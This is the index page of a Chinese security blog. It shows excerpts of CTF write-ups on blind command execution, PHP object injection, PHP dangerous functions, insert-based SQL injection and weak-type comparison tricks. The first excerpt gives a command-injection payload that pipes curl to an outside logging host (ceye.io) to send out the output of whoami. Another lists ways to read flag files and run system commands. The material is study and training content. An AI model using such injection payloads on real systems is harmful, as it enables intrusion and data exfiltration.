
 <!DOCTYPE HTML>
<html lang="zh-Hans">
<head>
  <meta charset="UTF-8">
  
    <title></title>
    <meta name="viewport" content="width=device-width, initial-scale=1,user-scalable=no">
    
    <meta name="author" content="daiker">
    

    
    <meta property="og:type" content="website">
<meta property="og:title">
<meta property="og:url" content="http://www.daiker.com.cn/index.html">
<meta property="og:site_name">
<meta property="og:locale" content="zh-Hans">
<meta name="twitter:card" content="summary">
<meta name="twitter:title">
<meta name="twitter:creator" content="@daikersec">

    
    <link rel="alternative" href="/atom.xml" title="" type="application/atom+xml">
    
    
    <link rel="icon" href="/img/favicon.png">
    
    
    <link rel="apple-touch-icon" href="/img/jacman.jpg">
    <link rel="apple-touch-icon-precomposed" href="/img/jacman.jpg">
    
    <link rel="stylesheet" href="/css/style.css">
</head>

  <body>
    <header>
      
<div>
		
			<div id="imglogo">
				<a href="/"><img src="/img/logo.png" alt="" title=""/></a>
			</div>
			
			<div id="textlogo">
				<h1 class="site-name"><a href="/" title=""></a></h1>
				<h2 class="blog-motto"></h2>
			</div>
			<div class="navbar"><a class="navbutton navmobile" href="#" title="Menu">
			</a></div>
			<nav class="animated">
				<ul>
					<ul>
					 
						<li><a href="/">首页</a></li>
					
						<li><a href="/archives">归档</a></li>
					
						<li><a href="/tags">标签</a></li>
					
						<li><a href="/categories">分类</a></li>
					
					<li>
 					
						<form class="search" action="http://zhannei.baidu.com/cse/search" target="_blank">
							<label>Search</label>
						<input name="s" type="hidden" value= 6197743525332190000 ><input type="text" name="q" size="30" placeholder="Search"><br>
						</form>
					
					</li>
				</ul>
			</nav>			
</div>
    </header>
    <div id="container">
      <div id="main">

   
    
    <article class="post-expand post" itemprop="articleBody"> 
        <header class="article-info clearfix">
  <h1 itemprop="name">
    
      <a href="/2018/02/15/happyMoctf-ping一下好吗WP/" title="happyMoctf-ping一下好吗WP" itemprop="url">happyMoctf-ping一下好吗WP</a>
  </h1>
  <p class="article-author">By
       
		<a href="/about" title="daiker" target="_blank" itemprop="author">daiker</a>
		
  <p class="article-time">
    <time datetime="2018-02-15T10:39:15.000Z" itemprop="datePublished"> Published 2018-02-15</time>
    
  </p>
</header>
    <div class="article-content">
        
        <h1 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h1><p>这道题着重点在于没有回显的命令执行，waf也侧重在于防止反弹shell，一般的命令没有过滤。对于没有回显的命令执行一般可以通过<code>DNS通道/HTTP通道</code>和<code>反弹shell</code>。</p>
<h1 id="0x01-DNS通道-HTTP通道"><a href="#0x01-DNS通道-HTTP通道" class="headerlink" title="0x01 DNS通道/HTTP通道"></a>0x01 DNS通道/HTTP通道</h1><p>post ip=0.0.0.0|curl <em>*</em>.ceye.io/`whoami`，在ceye那个网站可以看到有返回消息<br><img src="http://upload-images.jianshu.io/upload_images/5443560-c408e1c41f14c7e5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="图片.png"><br>
        
        
        <p class="article-more-link">
          
            <a href="/2018/02/15/happyMoctf-ping一下好吗WP/#more">Read More</a>
          
       </p>
    </div>
    <footer class="article-footer clearfix">
<div class="article-catetags">

<div class="article-categories">
  <span></span>
  <a class="article-category-link" href="/categories/ctf/">ctf</a>
</div>


  <div class="article-tags">
  
  <span></span> <a href="/tags/ctf/">ctf</a><a href="/tags/Web/">Web</a><a href="/tags/漏洞研究/">漏洞研究</a>
  </div>

</div>




<div class="comments-count">
	
	  	<span></span>
		<a href="/2018/02/15/happyMoctf-ping一下好吗WP/#comments" class="ds-thread-count comments-count-link" data-thread-key="2018/02/15/happyMoctf-ping一下好吗WP/" data-count-type="comments">&nbsp;</a>
	
</div>

</footer>


    </article>






   
    
    <article class="post-expand post" itemprop="articleBody"> 
        <header class="article-info clearfix">
  <h1 itemprop="name">
    
      <a href="/2017/12/22/php-object-injection/" title="php-object-injection" itemprop="url">php-object-injection</a>
  </h1>
  <p class="article-author">By
       
		<a href="/about" title="daiker" target="_blank" itemprop="author">daiker</a>
		
  <p class="article-time">
    <time datetime="2017-12-22T12:47:40.000Z" itemprop="datePublished"> Published 2017-12-22</time>
    
  </p>
</header>
    <div class="article-content">
        
        <h2 id="0x00-序列化"><a href="#0x00-序列化" class="headerlink" title="0x00 序列化"></a>0x00 序列化</h2><p>所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量，但是不会保存对象的方法，只会保存类的名字。 所有php里面的值都可以使用函数<br><a href="http://php.net/manual/zh/function.serialize.php" target="_blank" rel="noopener">serialize()</a><br>来返回一个包含字节流的字符串来表示。<br><a href="http://php.net/manual/zh/function.unserialize.php" target="_blank" rel="noopener">unserialize()</a><br>函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量，但是不会保存对象的方法，只会保存类的名字。<br>
        
        
        <p class="article-more-link">
          
            <a href="/2017/12/22/php-object-injection/#more">Read More</a>
          
       </p>
    </div>
    <footer class="article-footer clearfix">
<div class="article-catetags">

<div class="article-categories">
  <span></span>
  <a class="article-category-link" href="/categories/漏洞研究/">漏洞研究</a>
</div>


  <div class="article-tags">
  
  <span></span> <a href="/tags/ctf/">ctf</a><a href="/tags/Web/">Web</a><a href="/tags/漏洞研究/">漏洞研究</a>
  </div>

</div>




<div class="comments-count">
	
	  	<span></span>
		<a href="/2017/12/22/php-object-injection/#comments" class="ds-thread-count comments-count-link" data-thread-key="2017/12/22/php-object-injection/" data-count-type="comments">&nbsp;</a>
	
</div>

</footer>


    </article>






   
    
    <article class="post-expand post" itemprop="articleBody"> 
        <header class="article-info clearfix">
  <h1 itemprop="name">
    
      <a href="/2017/07/09/php危险函数总结(随时补充)/" title="PHP危险函数总结(随时补充)" itemprop="url">PHP危险函数总结(随时补充)</a>
  </h1>
  <p class="article-author">By
       
		<a href="/about" title="daiker" target="_blank" itemprop="author">daiker</a>
		
  <p class="article-time">
    <time datetime="2017-07-09T15:44:34.000Z" itemprop="datePublished"> Published 2017-07-09</time>
    
  </p>
</header>
    <div class="article-content">
        
        <h3 id="1-获取当前文件路径"><a href="#1-获取当前文件路径" class="headerlink" title="1. 获取当前文件路径"></a>1. 获取当前文件路径</h3><ul>
<li>echo <code>dirname(__FILE__)</code> ;</li>
<li>echo<code>getcwd()</code>;</li>
</ul>
<h3 id="2-获取同目录下的所有文件名称"><a href="#2-获取同目录下的所有文件名称" class="headerlink" title="2. 获取同目录下的所有文件名称"></a>2. 获取同目录下的所有文件名称</h3><ul>
<li>echo <code>var_dump(glob(&#39;./*&#39;))</code>;</li>
<li><p><code>system(&quot;ls&quot;)/system(&quot;dir&quot;)/system--&gt;可换成执行系统命令的函数</code>;</p>
<h3 id="3-读取某个文件的内容"><a href="#3-读取某个文件的内容" class="headerlink" title="3. 读取某个文件的内容"></a>3. 读取某个文件的内容</h3></li>
<li><p>echo <code>file_get_contents(&quot;flag.php&quot;)</code>;</p>
</li>
<li>echo <code>fgets(fopen(&quot;flag.php&quot;,&quot;r&quot;))</code>;</li>
<li><code>show_source(&quot;flag.php&quot;)</code>;</li>
<li>echo <code>fread(fopen(&quot;flag.php&quot;,&quot;r&quot;),filesize(&quot;flag.php&quot;))</code>;</li>
<li>echo <code>var_dump(file(&quot;flag.php&quot;))</code>;</li>
<li><code>copy(&quot;flag.php&quot;,&quot;daiker.txt&quot;)</code>;</li>
<li><code>include &#39;php://filter/read=convert.base64-encode/resource=flag.php&#39;</code>;</li>
<li><code>highlight_file(&quot;flag.php&quot;)</code>;</li>
</ul>
<h3 id="4-执行系统命令的函数"><a href="#4-执行系统命令的函数" class="headerlink" title="4. 执行系统命令的函数"></a>4. 执行系统命令的函数</h3><ul>
<li>system</li>
<li>passthru</li>
<li>exec</li>
<li>pcntl_exec</li>
<li>shell_exec</li>
<li></li>
</ul>
<h3 id="5-执行PHP的函数"><a href="#5-执行PHP的函数" class="headerlink" title="5. 执行PHP的函数"></a>5. 执行PHP的函数</h3><ul>
<li>eval(注意，不是函数，不能再回调函数里面使用)</li>
<li>assert</li>
<li>preg_replace</li>
<li>`</li>
</ul>
<h3 id="6-回调函数"><a href="#6-回调函数" class="headerlink" title="6. 回调函数"></a>6. 回调函数</h3><ul>
<li>call_user_func</li>
<li>call_user_func_array</li>
<li>create_function</li>
<li>array_map</li>
</ul>

        
        
        <p class="article-more-link">
          
       </p>
    </div>
    <footer class="article-footer clearfix">
<div class="article-catetags">

<div class="article-categories">
  <span></span>
  <a class="article-category-link" href="/categories/ctf/">ctf</a>
</div>


  <div class="article-tags">
  
  <span></span> <a href="/tags/ctf/">ctf</a><a href="/tags/Web/">Web</a><a href="/tags/php/">php</a>
  </div>

</div>




<div class="comments-count">
	
	  	<span></span>
		<a href="/2017/07/09/php危险函数总结(随时补充)/#comments" class="ds-thread-count comments-count-link" data-thread-key="2017/07/09/php危险函数总结(随时补充)/" data-count-type="comments">&nbsp;</a>
	
</div>

</footer>


    </article>






   
    
    <article class="post-expand post" itemprop="articleBody"> 
        <header class="article-info clearfix">
  <h1 itemprop="name">
    
      <a href="/2017/05/09/insert 注入/" title="insert 注入" itemprop="url">insert 注入</a>
  </h1>
  <p class="article-author">By
       
		<a href="/about" title="daiker" target="_blank" itemprop="author">daiker</a>
		
  <p class="article-time">
    <time datetime="2017-05-09T14:42:34.000Z" itemprop="datePublished"> Published 2017-05-09</time>
    
  </p>
</header>
    <div class="article-content">
        
        <h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>我们最常见的注入就是在查询中注入，那你有没有遇到过插入的时候也能注入。插入中最常见的就是注册用户或者撰写文章。当然，注册用户的时候可能会考虑去数据库查询下有没有这个人，这涉及到查询时候的注入，我们今天忽略这种注入。</p>
<h2 id="0x01-例子"><a href="#0x01-例子" class="headerlink" title="0x01 例子"></a>0x01 例子</h2><p>下面我给出一个简单的例子，基于php+mysql的。方便实验<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">mysql语句</span><br><span class="line">create database sqli;</span><br><span class="line">use sqli;</span><br><span class="line">create table user(</span><br><span class="line">name varchar(40),</span><br><span class="line">email  varchar(20),</span><br><span class="line">qq varchar(20)</span><br><span class="line">);</span><br></pre></td></tr></table></figure></p>
        
        
        <p class="article-more-link">
          
            <a href="/2017/05/09/insert 注入/#more">Read More</a>
          
       </p>
    </div>
    <footer class="article-footer clearfix">
<div class="article-catetags">

<div class="article-categories">
  <span></span>
  <a class="article-category-link" href="/categories/注入/">注入</a>
</div>


  <div class="article-tags">
  
  <span></span> <a href="/tags/Web/">Web</a><a href="/tags/注入/">注入</a>
  </div>

</div>




<div class="comments-count">
	
	  	<span></span>
		<a href="/2017/05/09/insert 注入/#comments" class="ds-thread-count comments-count-link" data-thread-key="2017/05/09/insert 注入/" data-count-type="comments">&nbsp;</a>
	
</div>

</footer>


    </article>






   
    
    <article class="post-expand post" itemprop="articleBody"> 
        <header class="article-info clearfix">
  <h1 itemprop="name">
    
      <a href="/2017/05/04/CTF中代码审计小trick(未完)/" title="CTF中代码审计小trick(未完)" itemprop="url">CTF中代码审计小trick(未完)</a>
  </h1>
  <p class="article-author">By
       
		<a href="/about" title="daiker" target="_blank" itemprop="author">daiker</a>
		
  <p class="article-time">
    <time datetime="2017-05-04T13:14:14.000Z" itemprop="datePublished"> Published 2017-05-04</time>
    
  </p>
</header>
    <div class="article-content">
        
        <h1 id="0x00-弱类型"><a href="#0x00-弱类型" class="headerlink" title="0x00 弱类型"></a>0x00 弱类型</h1><p>强类的语言遇到函数引数类型和实际调用类型不匹配的情况经常会直接出错或者编译失败；而弱类型的语言常常会实行隐式转换，或者产生难以意料的结果</p>
<p>也就是说，其实弱类型式其实式语言帮我们做了转换，好处是我们编程的时候可以省很多力，但是方便的同时也带来一些问题。注意的是，<code>python</code>并不是一门弱类型的语言。</p>
<ol>
<li>string转int<br><code>php</code>在将<code>string</code>转化成<code>int</code>的时候会把后面的字母舍掉。<br>比如 ‘132a’会被转化为123。又比如’aaa‘会被转化为为0。<br>受到影响的:<code>intval()</code>,<code>==</code>,<code>&gt;</code>,’<code>&lt;</code>等。看到具体的例子。<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">is_numeric(@$a[&quot;str&quot;])?die(&quot;eroor&quot;):NULL;</span><br><span class="line">    if(@$a[&quot;str&quot;])&#123;</span><br><span class="line">       if ($a[&quot;str&quot;]&gt;2016)&#123;</span><br><span class="line">       echo $flag;</span><br><span class="line">    &#125;</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure>
</li>
</ol>
<p>这时只需要传入2017aaa就可以绕过</p>
<ol>
<li>进制转化<br>会自动转化进制，而且支持科学计数法<br><code>var_dump(0x10==16);
var_dump(020==16);
var_dump(2e1==20);</code><br>这些都是正确的，举个例子<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">?php</span><br><span class="line">$md51 = md5(&apos;QNKCDZO&apos;);</span><br><span class="line">$a = @$_GET[&apos;a&apos;];</span><br><span class="line">$md52 = @md5($a);</span><br><span class="line">if(isset($a))&#123;</span><br><span class="line">if ($a != &apos;QNKCDZO&apos; &amp;&amp; $md51 == $md52) &#123;</span><br><span class="line">    echo &quot;nctf&#123;*****************&#125;&quot;;</span><br><span class="line">&#125; else &#123;</span><br><span class="line">    echo &quot;false!!!&quot;;</span><br><span class="line">&#125;&#125;</span><br><span class="line">else&#123;echo &quot;please input a&quot;;&#125;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure>
</li>
</ol>
<p>这时只要找出两个数的md5都是0e开头的就可以。<br>具体哪些，看这一篇<a href="http://www.cnblogs.com/Primzahl/p/6018158.html" target="_blank" rel="noopener">PHP处理0e开头md5哈希字符串缺陷/bug</a><br>
        
        
        <p class="article-more-link">
          
            <a href="/2017/05/04/CTF中代码审计小trick(未完)/#more">Read More</a>
          
       </p>
    </div>
    <footer class="article-footer clearfix">
<div class="article-catetags">

<div class="article-categories">
  <span></span>
  <a class="article-category-link" href="/categories/ctf/">ctf</a>
</div>


  <div class="article-tags">
  
  <span></span> <a href="/tags/ctf/">ctf</a><a href="/tags/Web/">Web</a><a href="/tags/代码审计/">代码审计</a>
  </div>

</div>




<div class="comments-count">
	
	  	<span></span>
		<a href="/2017/05/04/CTF中代码审计小trick(未完)/#comments" class="ds-thread-count comments-count-link" data-thread-key="2017/05/04/CTF中代码审计小trick(未完)/" data-count-type="comments">&nbsp;</a>
	
</div>

</footer>


    </article>







  <nav id="page-nav" class="clearfix">
    <span class="page-number current">1</span><a class="page-number" href="/page/2/">2</a><a class="extend next" rel="next" href="/page/2/">Next<span></span></a>
  </nav>

</div>
      <div class="openaside"><a class="navbutton" href="#" title="Show Sidebar"></a></div>

<div id="asidepart">
<div class="closeaside"><a class="closebutton" href="#" title="Hide Sidebar"></a></div>
<aside class="clearfix">

  
<div class="github-card">
<p class="asidetitle">Github Card</p>
<div class="github-card" data-github="daikersec" data-theme="medium"></div>
<script type="text/javascript" src="//cdn.jsdelivr.net/github-cards/latest/widget.js" ></script>
</div>



  
<div class="categorieslist">
	<p class="asidetitle">Categories</p>
		<ul>
		
		  
			<li><a href="/categories/ctf/" title="ctf">ctf<sup>5</sup></a></li>
		  
		
		  
			<li><a href="/categories/注入/" title="注入">注入<sup>1</sup></a></li>
		  
		
		  
			<li><a href="/categories/渗透测试/" title="渗透测试">渗透测试<sup>1</sup></a></li>
		  
		
		  
			<li><a href="/categories/漏洞研究/" title="漏洞研究">漏洞研究<sup>1</sup></a></li>
		  
		
		</ul>
</div>


  
<div class="tagslist">
	<p class="asidetitle">Tags</p>
		<ul class="clearfix">
		
			
				<li><a href="/tags/Web/" title="Web">Web<sup>8</sup></a></li>
			
		
			
				<li><a href="/tags/ctf/" title="ctf">ctf<sup>6</sup></a></li>
			
		
			
				<li><a href="/tags/hackinglab/" title="hackinglab">hackinglab<sup>2</sup></a></li>
			
		
			
				<li><a href="/tags/漏洞研究/" title="漏洞研究">漏洞研究<sup>2</sup></a></li>
			
		
			
				<li><a href="/tags/代码审计/" title="代码审计">代码审计<sup>1</sup></a></li>
			
		
			
				<li><a href="/tags/php/" title="php">php<sup>1</sup></a></li>
			
		
			
				<li><a href="/tags/注入/" title="注入">注入<sup>1</sup></a></li>
			
		
			
				<li><a href="/tags/渗透/" title="渗透">渗透<sup>1</sup></a></li>
			
		
			
				<li><a href="/tags/提权/" title="提权">提权<sup>1</sup></a></li>
			
		
		</ul>
</div>


  
  <div class="archiveslist">
    <p class="asidetitle"><a href="/archives">Archives</a></p>
      <ul class="archive-list"><li class="archive-list-item"><a class="archive-list-link" href="/archives/2018/02/">February 2018</a><span class="archive-list-count">1</span></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2017/12/">December 2017</a><span class="archive-list-count">1</span></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2017/07/">July 2017</a><span class="archive-list-count">1</span></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2017/05/">May 2017</a><span class="archive-list-count">2</span></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2017/04/">April 2017</a><span class="archive-list-count">3</span></li></ul>
  </div>


  <div class="rsspart">
	<a href="/atom.xml" target="_blank" title="rss">RSS</a>
</div>

</aside>
</div>
    </div>
    <footer><div id="footer" >
	
	<div class="line">
		<span></span>
		<div class="author"></div>
	</div>
	
	
	<div class="social-font" class="clearfix">
		
		<a href="http://weibo.com/daikersec" target="_blank" class="icon-weibo" title="微博"></a>
		
		
		<a href="https://github.com/daikersec" target="_blank" class="icon-github" title="github"></a>
		
		
		
		<a href="https://twitter.com/daikersec" target="_blank" class="icon-twitter" title="twitter"></a>
		
		
		
		
		
		
		
		<a href="mailto:daikersec@gmail.com" target="_blank" class="icon-email" title="Email Me"></a>
		
	</div>
			
		

		<p class="copyright">
		Powered by <a href="http://hexo.io" target="_blank" title="hexo">hexo</a> and Theme by <a href="https://github.com/wuchong/jacman" target="_blank" title="Jacman">Jacman</a> © 2018 
		
		<a href="/about" target="_blank" title="daiker">daiker</a>
		
		
		</p>
</div>
</footer>
    <script src="/js/jquery-2.0.3.min.js"></script>
<script src="/js/jquery.imagesloaded.min.js"></script>
<script src="/js/gallery.js"></script>
<script src="/js/jquery.qrcode-0.12.0.min.js"></script>

<script type="text/javascript">
$(document).ready(function(){ 
  $('.navbar').click(function(){
    $('header nav').toggleClass('shownav');
  });
  var myWidth = 0;
  function getSize(){
    if( typeof( window.innerWidth ) == 'number' ) {
      myWidth = window.innerWidth;
    } else if( document.documentElement && document.documentElement.clientWidth) {
      myWidth = document.documentElement.clientWidth;
    };
  };
  var m = $('#main'),
      a = $('#asidepart'),
      c = $('.closeaside'),
      o = $('.openaside');
  c.click(function(){
    a.addClass('fadeOut').css('display', 'none');
    o.css('display', 'block').addClass('fadeIn');
    m.addClass('moveMain');
  });
  o.click(function(){
    o.css('display', 'none').removeClass('beforeFadeIn');
    a.css('display', 'block').removeClass('fadeOut').addClass('fadeIn');      
    m.removeClass('moveMain');
  });
  $(window).scroll(function(){
    o.css("top",Math.max(80,260-$(this).scrollTop()));
  });
  
  $(window).resize(function(){
    getSize(); 
    if (myWidth >= 1024) {
      $('header nav').removeClass('shownav');
    }else{
      m.removeClass('moveMain');
      a.css('display', 'block').removeClass('fadeOut');
      o.css('display', 'none');
        
    }
  });
});
</script>












<link rel="stylesheet" href="/fancybox/jquery.fancybox.css" media="screen" type="text/css">
<script src="/fancybox/jquery.fancybox.pack.js"></script>
<script type="text/javascript">
$(document).ready(function(){ 
  $('.article-content').each(function(i){
    $(this).find('img').each(function(){
      if ($(this).parent().hasClass('fancybox')) return;
      var alt = this.alt;
      if (alt) $(this).after('<span class="caption">' + alt + '</span>');
      $(this).wrap('<a href="' + this.src + '" title="' + alt + '" class="fancybox"></a>');
    });
    $(this).find('.fancybox').each(function(){
      $(this).attr('rel', 'article' + i);
    });
  });
  if($.fancybox){
    $('.fancybox').fancybox();
  }
}); 
</script>



<!-- Analytics Begin -->



<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "//hm.baidu.com/hm.js?2a1c7e2856fa901812e41edbfcef616e";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>



<!-- Analytics End -->

<!-- Totop Begin -->

	<div id="totop">
	<a title="Back to Top"><img src="/img/scrollup.png"/></a>
	</div>
	<script src="/js/totop.js"></script>

<!-- Totop End -->

<!-- MathJax Begin -->
<!-- mathjax config similar to math.stackexchange -->

<script type="text/x-mathjax-config">
  MathJax.Hub.Config({
    tex2jax: {
      inlineMath: [ ['$','$'], ["\\(","\\)"] ],
      processEscapes: true
    }
  });
</script>

<script type="text/x-mathjax-config">
    MathJax.Hub.Config({
      tex2jax: {
        skipTags: ['script', 'noscript', 'style', 'textarea', 'pre', 'code']
      }
    });
</script>

<script type="text/x-mathjax-config">
    MathJax.Hub.Queue(function() {
        var all = MathJax.Hub.getAllJax(), i;
        for(i=0; i < all.length; i += 1) {
            all[i].SourceElement().parentNode.className += ' has-jax';
        }
    });
</script>

<script type="text/javascript" src="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML">
</script>


<!-- MathJax End -->

<!-- Tiny_search Begin -->

<!-- Tiny_search End -->

  </body>
 </html>
